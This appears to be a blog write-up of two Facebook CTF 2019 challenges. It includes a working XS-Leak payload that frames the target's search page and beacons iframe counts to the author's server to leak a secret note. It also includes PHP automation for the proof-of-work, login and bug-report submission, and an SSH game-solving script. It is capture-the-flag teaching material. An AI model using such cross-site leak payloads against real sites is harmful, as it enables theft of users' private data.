Facebook CTF 2019
So, the first-ever Facebook CTF came and went pretty fast, and there were a few challenges I found interesting.
This won't be a complete write-up of how the tasks were accomplished, as you can find those all over the place. It's just my brief explanation of the two challenges I enjoyed doing and the way I accomplished them, with some PoC code.
Secret Note Keeper

After reading a few write-ups, I realized a lot of people had only commented on the method they'd used to obtain the flag, but didn't detail the steps taken to get there.
First, you're presented with a login/registration page:

Upon logging in you're given a few different options; as you can see from the links in the navigation bar, they are "Home", "All Notes", "Search Notes" and "Report Bugs".
Some of my initial attempts at breaching this were analyzing cookies to determine whether forging a cookie for an admin user was possible, which completely failed. After that I made a few attempts to register as a specific user that may already have been registered, relying on constraint and truncation attacks…
When all of that failed, I decided it was time to look at the functionality of the application itself and see if there was anything interesting that could be used or abused.
Granted, I could've done a better job of reading the hints on these challenges… not reading into a hint/description, or reading into it too much, really cost me time. If we look back at the challenge, the hint it offers is "Find the secret note that contains the fl4g!", basically telling us there's a secret note we should be looking for… My guess was that I had to find a way to breach the user who'd stored the note in the first place, instead of thinking there was some other illegitimate way of obtaining the 'secret note'.
Alright, so we know no other methods of abuse are working so far, and we haven't really looked too deeply into how the application works… so let's do that, starting with the "All notes" page:

Looking at the page, we have the ability to write a note. This isn't exactly what we want, as our goal is apparently to retrieve a secret note… so we try our usual truncation and constraint tests again, using 'fl4g' as the name, only to not really produce any results. A lesson I'm taking away from this: look at the ENTIRE app before trying to exploit the thing. I wasted so much time trying exploits and testing things that weren't relevant to the app at all, instead of discovering the real thing I could do here.
That being said, I went ahead and added two notes for the purpose of this write-up, named "test" and "test2", with similar content.

With our two notes added, we move on to the "search" function and determine that it matches partial or full strings… I can enter "t" and see my two notes; if I entered "tf", however, I wouldn't see either of my notes, and so on.

Looking at the page source with our notes showing, we notice that for some reason the content of our notes is displayed within an iframe. I found this unusual but didn't think much of it… I'm not huge on these kinds of attacks, so this is something I actually learned during this CTF just to complete this challenge. I'd initially thought of another way of attacking this but hadn't gone that route; I'll go into more detail on that when we get to how this is actually exploited.
Having investigated both the "All notes" and "Search Notes" pages, there was only one page left to investigate: "Report bugs". Visiting the page, we're met with a weird challenge of sorts, which is what I was referring to when I mentioned other write-ups didn't cover all aspects of this challenge. There's a value they called "proof of work", which appears to take some plain text, MD5 it, and take the first 5 characters of the hash; it then asks you to enter a plain-text value that produces the same first 5 characters in its MD5.
At first I thought this was going to take a while. What concerned me was that visiting the page stored this "pow" value in a cookie, with a timestamp and a hash of both values, which I assume was salted, as they couldn't be altered. Seeing this at all meant I now wanted to use this page… this had to be the intended direction, considering there's a barrier to entry here.

So, taking a step back and looking at what we have so far: a page that lets us submit notes ("All notes"), another that lets us search notes with partial matching ("Search notes"), and now a "Report bugs" page, which we'll wait to dig into, because before we can do anything there we need to bypass/solve this proof of work.
My method of doing so was somewhat simple:
for(;;)
{
$str = rand().time();
$md5 = md5($str);
$md5_5 = substr($md5,0,5);
if($md5_5 === $pow_md5)
{
print("plain_text:".$str)."\r\n";
break;
}
}
I generate random MD5 hashes from a combination of rand() and time(), take the first 5 characters, and repeat until I get something that matches our pow (proof of work) value. I did end up writing it into a script that also automated submitting the 'bug', but for the purposes of the write-up we'll cover the manual portion first.
So now that we're calculating a valid proof of work, we can submit bugs to the page with our own URL. Naturally I used my server's URL, http://www.thedefaced.org/bugreport_ctf, while watching the access logs to see if I got any hits… and to my surprise, a few seconds later a headless Chrome browser had reached my site.
Now, going back to what I was saying before… these kinds of cross-site attacks aren't generally my forte. My immediate idea was that I could DNS rebind and request the "All notes" page to obtain all of the headless Chrome browser's notes, hopefully getting the flag in the process.
Thinking it through further, I suspected this wouldn't work, because when you DNS rebind you do so using your own domain, so the cookies wouldn't be valid for my domain for the bot to have a session on the website. Someone on IRC claimed after the CTF had ended that they'd done it this way, but I honestly still have my doubts, though the other variables were there for it to be possible (the default vhost was set up so that if you hit the IP address directly, you still saw the challenge).
So without DNS rebinding, I had to go back to the drawing board and smash my head against a few walls before I ran across some articles and information on "XS-Leaks". I found it frustrating to learn the topic on the fly during the CTF, as the documentation seemed limited, and the PoCs I could simply hack together seemed even more limited. There was no quick and easy solution here; this was going to have to be a payload I wrote myself…
After some research, I discovered that when you open a window from JavaScript, it's possible to obtain certain information about that window, one piece being how many iframes it has loaded within it. I immediately began drafting a payload to open a new window to the challenge's search function within the headless browser, then count the number of frames on the page… It didn't work. Why?
Well, there were a number of limiting factors. One was that they'd set up a timeout so the headless Chrome browser would only run for a specific period of time; the headless browser also seemed to randomly stop working throughout the CTF, so it's possible that was my issue as well. Regardless, I went back to the drawing board… which led me to learn that not only can you obtain information about other windows opened by JavaScript, you can also obtain information about iframes within the page you're already in. With that, I quickly drafted a new HTML/JS payload that did a few things. First, an iframe within the HTML page would load the challenge's search URL with a specific character in the query string. Next, a JavaScript event handler waited for the iframe to finish loading, then looped until the frame count was higher than zero. (This was done to avoid false positives and timing issues. In a normal browser this would actually hang, but they were killing the headless Chrome instance within a set amount of time, so I wasn't concerned about it. There may have been another way to check whether the iframe within my iframe had fully loaded, but this was my approach coming into this for the first time.)
Next, once the frame count was greater than zero, my JavaScript would create a new image element on the page pointing to my server's PHP script, reporting the frame count and the character being attempted. As long as I saw the frames were above zero, I knew the character being searched for was valid, and I could brute-force the flag character by character from there.

With that, I eventually brute-forced the flag through an XS-Leak (cross-site leak) attack, since I could count the number of iframes on a request pointed at another website.
The complete code used to achieve this is posted below.
HTML/JS/PHP (server side):
<!DOCTYPE html>
<html>
<body>
<iframe id="ctf_frame" src="http://challenges.fbctf.com:8082/search?query=<?php echo $_GET['char']; ?>"></iframe>
<script>
var character = <?php echo "'".$_GET['char']."';"; ?>
document.getElementById('ctf_frame').onload = function()
{
var framecnt = window.frames[0].frames.length;
do {
framecnt = window.frames[0].frames.length;
} while(framecnt < 1);
console.log(framecnt);
(new Image).src = "http://new.thedefaced.org/xs_get.php?frames="+framecnt+"&char="+encodeURIComponent(character);
}
</script>
</body>
</html>
PHP (client side: PoW brute force, login, submit bug):
<?php
function test($character)
{
$users = array("secretusers"=>"secretsecret");
foreach($users as $user => $pass)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://challenges.fbctf.com:8082/login");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$user."&password=".$pass);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
print $result;
preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
$cookies = array();
foreach($matches[1] as $item) {
parse_str($item, $cookie);
$cookies = array_merge($cookies, $cookie);
}
preg_match_all('/^Date:\s*([^C]*)/mi',$result,$matches);
$session = $cookies["session"];
curl_close($ch);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://challenges.fbctf.com:8082/report_bugs");
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_HTTPHEADER, array("Cookie: session=".$session));
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
$cookies = array();
foreach($matches[1] as $item) {
parse_str($item, $cookie);
$cookies = array_merge($cookies, $cookie);
}
preg_match_all('/^Date:\s*([^C]*)/mi',$result,$matches);
$pow = $cookies["pow"];
$pow_md5 = substr($pow,0,5);
print $pow_md5."\r\n";
print $pow."\r\n";
curl_close($ch);
for(;;)
{
$str = rand().time();
$md5 = md5($str);
$md5_5 = substr($md5,0,5);
if($md5_5 === $pow_md5)
{
print("plain_text:".$str)."\r\n";
break;
}
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://challenges.fbctf.com:8082/report_bugs");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "title=test&body=test&link=http%3A%2F%2Fnew.thedefaced.org%2Fbruteframe.php?char=".$character."&pow_sol=".$str);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch,CURLOPT_HTTPHEADER, array("Cookie: session=".$session.";pow=".$pow));
$result = curl_exec($ch);
print $result."\r\n";
}
}
foreach(range(33,126) as $v)
{
//fb{cr055_S173_L34_<5_4R4_C00OOL!!
test("fb{cr055_S173_L34|<5_4R4_C00OOL!!}".urlencode(chr($v)));
}
//test("!");
//test("fb{");
//test("fb{cro");
//foreach(range('a','z') as $v){
// test("fb{cr".$v);
//}
//foreach(range('0','9') as $v){
// test($v);
//}
//test();
?>
With that, we'll move on to the next challenge I found interesting.
osquery_game

I took this challenge quite literally based on its description: "Complete all of the quests and win!". The reason I found it interesting is, first, that it didn't have a ton of solves, and second, that one of the CTF admins later mentioned there was no 'legitimate' way of playing while also beating the game…
However, this is exactly what I did. Let's start by logging into the game:



We log in, look around, run a few of the commands available to us through help, and discover what the goals are. Looks like we need to move a pig closer to a sheep, water a plant, and pick up the plant.
Seems simple enough. Going on to play the game, I run a select * from farm query:

We see our 'farm', and then 1–2 seconds later we get a message that our sheep has run away. The fact that this red text was delayed by a second or two made me think this would certainly have to be scripted…
I quickly began to break down the grid the emojis were displayed on, magically determined where the sheep and the pig were (you need a source to move to a destination), then moved the pig to the sheep… it worked! Easy enough, right?
Wrong, of course. So I quickly scripted out the rest of the game's actions: pick up the water pail the pig leaves behind, plant the seed, water the seed, wait a day, pick up the plant.
Except… I'm met with "The farming season is over" once I go to pick my plant up. What gives? Well, it looks like they limit you to 5 moves, yet you appear to need more than that, because every time you pull the farm it counts as a move, and to determine where the pig and the sheep are you need to pull the farm at least once.

That's when I noticed something interesting. See those little white squares in the picture? There are quite a few of them on the row… and they're pretty much always one down from the top. Could we plant our seed as our first action by brute-forcing the position of these 'plowed areas'? If we could perform an action on our first select, before moving our pig to our sheep, we'd regain the one move we needed to finish the game…
So that's exactly what I did. I quickly wrote a script that simply SSH'd in and tried to plant the seed at a static location as the first command it executed. That got the seed planted and the board with the sheep and pig coordinates in the same move, regaining my first move and letting me complete every action within the 5 moves allotted. Before I knew it, I had the flag:




The source for the script that broke down the grid and brute-forced the seed plant is below (it requires phpseclib):
<?php
include('Net/SSH2.php');
function farm()
{
$ssh = new Net_SSH2('challenges.fbctf.com',2222);
if(!$ssh->login('osquerygame','osquerygame')) {
exit('Login failed\r\n');
}
$plowed_space_x = dechex(3);
$plowed_space_y = dechex(1);
$ssh->write("select * from farm WHERE action='plant' AND dst = 0x".$plowed_space_y.$plowed_space_x.";\n");
$ssh->setTimeout(1);
$farm = $ssh->read();
$lines = explode("\r\n",$farm);
$line_num = 0;
if(strstr($farm,"Invalid plant") != false)
{
print "Got invalid plant spot, refarming...\r\n";
$ssh->disconnect();
farm();
}
$sheep_y = 0;
$sheep_x = 0;
$flower_y = 0;
$flower_x = 0;
$pig_y = 0;
$pig_x = 0;
$plowed_spaces = array();
for($i = 7; $i <= 22; $i++)
{
$str = substr($lines[$i],1);
$emoji_split = str_split(substr($lines[$i],1),1);
$x = 0;
$col = 0;
foreach($emoji_split as $char)
{
if($char === "\xE2")
{
print substr($str,$x,3);
$space = array(($i-7),$col);
array_push($plowed_spaces,$space);
$x=$x+3;
$col++;
}
if($char == "\xF0")
{
$emoji = substr($str,$x,4);
if($emoji == "\xF0\x9F\x90\x91")
{
$sheep_y = ($i-7);
$sheep_x = $col;
}
if($emoji == "\xF0\x9F\x8C\xBB")
{
$flower_y = ($i-7);
$flower_x = $col;
}
if($emoji == "\xF0\x9F\x90\xB7")
{
$pig_y = ($i-7);
$pig_x = $col;
}
print substr($str,$x,4);
$x=$x+4;
$col++;
}
}
print "\r\n";
}
print "sheep x: ".$sheep_x." y: ".$sheep_y."\r\n";
print "pig x: ".$pig_x." y: ".$pig_y."\r\n";
$pig_src_x = dechex($pig_x);
$pig_src_y = dechex($pig_y);
$pig_dst_x = dechex(($sheep_x + 1));
$pig_dst_y = dechex($sheep_y);
print "move pig x: ".$pig_dst_x." y: ".$pig_dst_y."\r\n";
$ssh->write("select * from farm WHERE action='move' AND src = 0x".$pig_src_y.$pig_src_x." AND dst = 0x".$pig_dst_y.$pig_dst_x.";\n");
print $ssh->read();
$ssh->write("select * from farm WHERE action='pickup' AND src=0x".$pig_src_y.$pig_src_x.";\n");
print $ssh->read();
print "plant x: ".$plowed_space_x." y: ".$plowed_space_y."\r\n";
$ssh->write("select * from farm WHERE action='water' AND dst = 0x".$plowed_space_y.$plowed_space_x.";\n");
print $ssh->read();
$ssh->write("select * from farm WHERE action='pickup' AND src = 0x".$plowed_space_y.$plowed_space_x.";\n");
print $ssh->read();
die("finished farming\r\n");
}
farm();
?>

zillwc archived
Hey - I'm the one [`imabotiswear`] from the irc channel that, regretfully, spent the time performing the dns rebind attack to collect the flag. Just came across this post from Reddit and had to reaffirm that the dns rebind worked by hitting the vhost directly. I started on the challenge.fbctf.com site but once I submitted a bug report and the server pinged back to me, I got the direct ip addr of the box hosting the challenge. As you assumed, when I hit the site, the cookie was attached to the ip address (https://imgur.com/a/QsFqsRa). I used it to grab the content from the all-notes page.